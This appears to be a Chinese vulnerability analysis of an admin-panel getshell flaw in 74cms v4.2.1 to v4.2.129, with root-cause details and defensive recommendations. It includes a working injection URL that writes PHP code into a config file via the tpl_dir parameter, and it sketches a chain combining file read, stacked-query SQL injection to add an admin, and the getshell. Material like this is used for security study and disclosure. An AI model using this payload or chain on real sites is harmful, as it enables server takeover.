某cms v4.2.1-v4.2.129-后台getshell漏洞
字数 1051 2025-08-29 08:31:41

74cms v4.2.1-v4.2.129 后台Getshell漏洞分析

0x00 漏洞概述

74cms(骑士人才系统)v4.2.1至v4.2.129版本存在一个后台Getshell漏洞,攻击者可以通过构造特定的URL参数,在系统中写入恶意代码,最终获取服务器控制权限。

0x01 环境准备

系统安装

  1. 从官网下载"骑士人才系统基础版(安装包)":http://www.74cms.com/download/index.html
  2. 安装下载的包

版本升级

  1. 进入后台查看当前版本
  2. 如果不是最新版,点击升级
  3. 本地环境问题解决
    • 本地环境可能会提示"域名不合法升级失败"
    • 解决方法:
      • 编辑文件:74cms\upload\Application\Admin\Controller\ApplyController.class.php
      • 查找所有$_SERVER['HTTP_HOST']并替换为http://baidu.com

0x02 漏洞利用

直接利用方法

漏洞触发URL

http://74cms.test/index.php?m=Admin&c=Tpl&a=set&tpl_dir= ', 'a',phpinfo(),'

Shell路径

http://74cms.test/Application/Home/Conf/config.php

物理路径:

\74cms\upload\Application\Home\Conf\config.php

完整攻击链(认真版Getshell方法)

  1. 利用任意文件读取漏洞

    • 读取系统中的hash值
  2. 利用前台SQL注入漏洞

    • 插入用户数据(系统支持执行双语句)
    • 通过MySQL双语句插入一条管理员用户
  3. 利用本后台Getshell漏洞

    • 使用新创建的管理员账户登录后台
    • 执行Getshell操作

0x03 漏洞分析

漏洞文件位置

  1. 主要漏洞文件:
    • 74cms\upload\Application\Admin\Controller\TplController.class.php
    • 74cms\upload\Application\Common\Controller\BackendController.class.php

漏洞原理

漏洞存在于模板设置功能中,tpl_dir参数未经过滤直接拼接写入配置文件,导致攻击者可以通过构造恶意参数将PHP代码写入系统配置文件。

0x04 防御建议

  1. 输入过滤

    • tpl_dir参数进行严格过滤,禁止特殊字符
    • 使用白名单机制验证输入内容
  2. 权限控制

    • 加强后台权限验证
    • 实现操作日志记录
  3. 系统升级

    • 升级到最新版本,修复已知漏洞
  4. 配置文件保护

    • 限制对配置文件的直接访问
    • 对配置文件所在目录设置严格的权限

0x05 总结

该漏洞利用简单,危害严重,攻击者可以完全控制网站服务器。建议使用74cms系统的管理员立即检查系统版本,并采取相应的防护措施。

74cms v4.2.1-v4.2.129 后台Getshell漏洞分析 0x00 漏洞概述 74cms(骑士人才系统)v4.2.1至v4.2.129版本存在一个后台Getshell漏洞,攻击者可以通过构造特定的URL参数,在系统中写入恶意代码,最终获取服务器控制权限。 0x01 环境准备 系统安装 从官网下载"骑士人才系统基础版(安装包)":http://www.74cms.com/download/index.html 安装下载的包 版本升级 进入后台查看当前版本 如果不是最新版,点击升级 本地环境问题解决 : 本地环境可能会提示"域名不合法升级失败" 解决方法: 编辑文件: 74cms\upload\Application\Admin\Controller\ApplyController.class.php 查找所有 $_SERVER['HTTP_HOST'] 并替换为 http://baidu.com 0x02 漏洞利用 直接利用方法 漏洞触发URL : Shell路径 : 物理路径: 完整攻击链(认真版Getshell方法) 利用任意文件读取漏洞 : 读取系统中的hash值 利用前台SQL注入漏洞 : 插入用户数据(系统支持执行双语句) 通过MySQL双语句插入一条管理员用户 利用本后台Getshell漏洞 : 使用新创建的管理员账户登录后台 执行Getshell操作 0x03 漏洞分析 漏洞文件位置 主要漏洞文件: 74cms\upload\Application\Admin\Controller\TplController.class.php 74cms\upload\Application\Common\Controller\BackendController.class.php 漏洞原理 漏洞存在于模板设置功能中, tpl_dir 参数未经过滤直接拼接写入配置文件,导致攻击者可以通过构造恶意参数将PHP代码写入系统配置文件。 0x04 防御建议 输入过滤 : 对 tpl_dir 参数进行严格过滤,禁止特殊字符 使用白名单机制验证输入内容 权限控制 : 加强后台权限验证 实现操作日志记录 系统升级 : 升级到最新版本,修复已知漏洞 配置文件保护 : 限制对配置文件的直接访问 对配置文件所在目录设置严格的权限 0x05 总结 该漏洞利用简单,危害严重,攻击者可以完全控制网站服务器。建议使用74cms系统的管理员立即检查系统版本,并采取相应的防护措施。